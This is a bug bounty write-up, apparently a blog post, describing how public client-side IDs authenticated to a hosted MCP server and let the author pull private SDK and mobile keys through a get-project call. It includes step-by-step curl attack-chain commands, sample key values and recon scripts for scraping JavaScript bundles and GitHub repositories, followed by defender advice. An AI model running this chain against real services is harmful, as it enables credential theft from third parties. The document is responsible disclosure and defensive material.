August 17, 2026
How I Found an Authentication Bypass in a Target’s MCP Server
Failure at forcing authentication at MCP point.

By CypherNova1337
4 min read
The Setup
MCP — Model Context Protocol — is an open standard for giving automated tooling structured access to external APIs. In early 2025 it went from niche to mainstream. Every major SaaS product started shipping an MCP server. My target was no exception.
Their hosted MCP server lives at mcp.example.com. It's powered by a third-party middleware called Gram.ai and exposes 126 tools — everything from reading feature flags to deleting them permanently.
I found it while doing source analysis on the target's public GitHub. Their ai-tooling repository contains an .mcp.json config file pointing directly at the endpoint:
https://mcp.example.com/mcp/targetnamehttps://mcp.example.com/mcp/targetnameMost researchers would have confirmed auth was required and moved on. I didn't.
The Initial Probe
The MCP protocol uses POST-based JSON-RPC:
curl -s -X POST https://mcp.launchdarkly.com/mcp/launchdarkly \
-H "Content-Type: application/json" \
-H "Authorization: Bearer api-[ADMIN-TOKEN]" \
-d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'curl -s -X POST https://mcp.launchdarkly.com/mcp/launchdarkly \
-H "Content-Type: application/json" \
-H "Authorization: Bearer api-[ADMIN-TOKEN]" \
-d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'Response: HTTP 200 with 126 tools. Expected — an Admin API token works here.
But look at what those tools do:
delete-flag — "Permanently delete a feature flag. THIS IS IRREVERSIBLE."
toggle-flag — "Turn a feature flag's targeting on or off"
create-flag — "Create a new feature flag in a project"
update-targeting-rules — "Add, remove, or modify custom targeting rules"
invite-members — "Invite one or more people to the target account"
get-project — "Get a target project with its environments and SDK keys"
delete-agent-graph — "Permanently delete an agent graph. THIS IS IRREVERSIBLE."delete-flag — "Permanently delete a feature flag. THIS IS IRREVERSIBLE."
toggle-flag — "Turn a feature flag's targeting on or off"
create-flag — "Create a new feature flag in a project"
update-targeting-rules — "Add, remove, or modify custom targeting rules"
invite-members — "Invite one or more people to the target account"
get-project — "Get a target project with its environments and SDK keys"
delete-agent-graph — "Permanently delete an agent graph. THIS IS IRREVERSIBLE."The word IRREVERSIBLE appears five times across the tool descriptions.
Now the real test.
The Finding
My target has three credential types:
- API tokens (
api-xxx) — for management operations, kept secret - Server-side SDK keys (
sdk-xxx) — for flag evaluation from backend servers, kept secret - Client-side environment IDs — 24-character hex strings embedded in browser JavaScript, explicitly documented as safe to expose publicly
I tried each as a Bearer token:
# Server-side SDK key
curl -s -X POST https://mcp.example.com/mcp/targetname \
-H "Authorization: Bearer sdk-a8685b55-1209-414e-add3-a55077cfc737" \
-d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
# → HTTP 200, 126 tools returned
# Client-side environment ID (publicly documented as safe to expose)
curl -s -X POST https://mcp.example.com/mcp/targetname \
-H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \
-d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
# → HTTP 200, 126 tools returned# Server-side SDK key
curl -s -X POST https://mcp.example.com/mcp/targetname \
-H "Authorization: Bearer sdk-a8685b55-1209-414e-add3-a55077cfc737" \
-d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
# → HTTP 200, 126 tools returned
# Client-side environment ID (publicly documented as safe to expose)
curl -s -X POST https://mcp.example.com/mcp/targetname \
-H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \
-d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
# → HTTP 200, 126 tools returnedBoth returned 200 with the full tool list.
The client-side environment ID — the credential my target explicitly documents as safe to hardcode in public browser JavaScript — authenticated to an endpoint exposing 126 administrative tools including irreversible deletion operations.
The Attack Chain
Here's the full chain against any of my target's customers:
Step 1 — Visit any website using my target's client-side SDK. Open DevTools > Network. Filter for target.com. The environment ID appears in every request — it's a 24-character hex string in the URL path. Copy it.
Step 2 — Authenticate to the MCP server with it as a Bearer token:
curl -s -X POST https://mcp.example.com/mcp/targetname \
-H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \
-d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
curl -s -X POST https://mcp.example.com/mcp/targetname \
-H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \
-d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}'
Step 3 — Call get-project:
curl -s -X POST https://mcp.example.com/mcp/targetname \
-H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "get-project",
"arguments": {"projectKey": "default"}
},
"id": 1
}'curl -s -X POST https://mcp.example.com/mcp/targetname \
-H "Authorization: Bearer 6a68ea6eae12c70aa5a6bad9" \
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "get-project",
"arguments": {"projectKey": "default"}
},
"id": 1
}'Response (test account, credentials since rotated):
{
"key": "default",
"name": "cypher's Account",
"environments": [
{
"key": "production",
"sdkKey": "sdk-a8685b55-1209-414e-add3-a55077cfc737",
"mobileKey": "mob-5d06ee9f-9116-49ef-ba55-ad53c56f29c8",
"clientSideId": "6a68ea6eae12c70aa5a6bad9"
}
]
}{
"key": "default",
"name": "cypher's Account",
"environments": [
{
"key": "production",
"sdkKey": "sdk-a8685b55-1209-414e-add3-a55077cfc737",
"mobileKey": "mob-5d06ee9f-9116-49ef-ba55-ad53c56f29c8",
"clientSideId": "6a68ea6eae12c70aa5a6bad9"
}
]
}The Gram.ai Layer
My target's hosted MCP server isn't built by LaunchDarkly. The initialize response gives it away:
{
"serverInfo": {
"name": "Gram",
"version": "0.0.0"
}
}{
"serverInfo": {
"name": "Gram",
"version": "0.0.0"
}
}It's built by Gram.ai — a third-party middleware service. When a request hits mcp.example.com, it routes through Gram.ai's infrastructure before reaching my target's backend.
The authentication bypass existed at Gram's layer. Gram accepted credential types that my target's own management API would reject. To be precise: when client-side IDs or SDK keys called most write tools, Gram forwarded the request to LD's API which returned 401. Write operations didn't execute with those credential types.
But get-project worked — because my target's client-side API accepts the environment ID for flag evaluation, and Gram's implementation used an endpoint path that LD accepted. The result: credential escalation from a public value to private SDK and mobile keys.
The broader point: when your API is fronted by third-party middleware, that middleware's authentication logic is your authentication logic.
How Recon Found It
This wasn't a targeted MCP hunt. It came from routine source analysis.
Phase 1 — JavaScript bundle extraction:
# Extract script tags from the app
curl -s https://app.example.com | grep -oP '(?<=src=")[^"]*\.js'
# Download bundles and grep for URLs
for js in $(cat bundle_list.txt); do
curl -s "$js" | grep -oP '"https?://[^"]{10,}"' >> urls.txt
done
sort -u urls.txt# Extract script tags from the app
curl -s https://app.example.com | grep -oP '(?<=src=")[^"]*\.js'
# Download bundles and grep for URLs
for js in $(cat bundle_list.txt); do
curl -s "$js" | grep -oP '"https?://[^"]{10,}"' >> urls.txt
done
sort -u urls.txtPhase 2 — GitHub org enumeration:
curl -s "https://api.github.com/orgs/example/repos?per_page=100" \
| jq -r '.[].name' | sortcurl -s "https://api.github.com/orgs/example/repos?per_page=100" \
| jq -r '.[].name' | sortThe ai-tooling repo showed up. The .mcp.json inside it had the endpoint URL. The endpoint had the vulnerability.
Public GitHub repositories for target organizations are consistently underexplored. Check them.
Authentication vs. Execution
Worth being precise on the distinction: an authentication bypass doesn't require full execution bypass to be a valid finding.
The security model of a restricted credential is this token cannot access admin surfaces. If a client-side environment ID authenticates to an admin API surface at all — regardless of whether every subsequent call succeeds — the credential boundary is violated.
The concrete impact here was get-project returning plaintext SDK keys. That's a credential escalation chain with real consequences. The rest of the 126-tool surface being partially constrained by backend enforcement doesn't undo the authentication misconfiguration.
Takeaways for Defenders
If you're shipping an MCP server or integrating one:
Validate credential types at the MCP layer itself. Your backend API rejecting SDK keys is not a substitute for your MCP middleware rejecting them. The middleware shouldn't accept wrong credential types even if the downstream would catch them.
Audit what credentials your tools return. Any tool that returns API keys, SDK keys, or secrets should require the same authentication level as those secrets. get-project returning plaintext SDK keys accessible via public credentials is a credential escalation vector that exists independent of write access.
Third-party MCP middleware is in scope for your security reviews. If a vendor is processing your customer tokens, review their authentication implementation — not as a separate concern but as part of your own attack surface.
Public credentials must be architecturally prevented from reaching admin surfaces. Documentation isn't enforcement.
CypherNova1337 is a bug bounty hunter and independent security researcher, founder of VoidSec. Write-ups at cyphernova1337.medium.com. Tools at github.com/CypherNova1337.